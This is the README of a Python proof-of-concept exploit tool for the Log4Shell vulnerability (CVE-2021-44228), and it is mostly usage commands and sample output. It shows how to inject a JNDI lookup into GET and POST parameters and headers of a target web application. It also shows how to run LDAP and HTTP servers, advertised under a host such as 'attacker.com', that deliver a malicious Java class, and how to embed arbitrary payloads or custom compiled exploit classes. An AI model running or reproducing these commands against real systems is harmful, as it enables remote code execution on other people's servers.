An all-in-one pure Python3 PoC for CVE-2021-44228.

> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"

INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!

This is a CLI tool. All options can be found in the help menu:

python3 log4rce.py --help

The list is pretty extensive, therefore the following will give you a summary of the functionality.

The tool allows you to use a few attack modes. These attacks are extensions of the Log4RCE class.

You can perform an automated HTTP request attack on a target URL.

You can perform a GET request as follows:

python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###&param=123" --headers="P1=123&P2=123"

You can perform a POST request as follows:

python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###&param=123" --headers="P1=123&P2=123"

The previous will inject the JNDI tag into ###.

If you cannot use any of the previous, use this mode to dump the JDNI tag:

python3 log4rce.py manual

The tool allows extensive customization for most network configuration. All the internal servers can be modified to point to different locations according the the remote settings.

You can configure the HTTP server using the following parameters:

python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"

http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses. 

You can configure the LDAP server using the following parameters:

python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"

ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses. 

The tool allows can handle some customization. The following lists some functionality you may be interested in.

You can inject a payload into the Java class using:

python3 log4rce.py --payload "PAYLOAD"

The payload will be injected into "###" strings.

You can build your own Java class using the following.

javac -source 1.7 -target 1.7 /path/to/Exploit.java

The resulting .class can be run using:

python3 log4rce.py --java_class "/path/to/Exploit.class" ...

Note: You can add a string "###" to allow payload injection.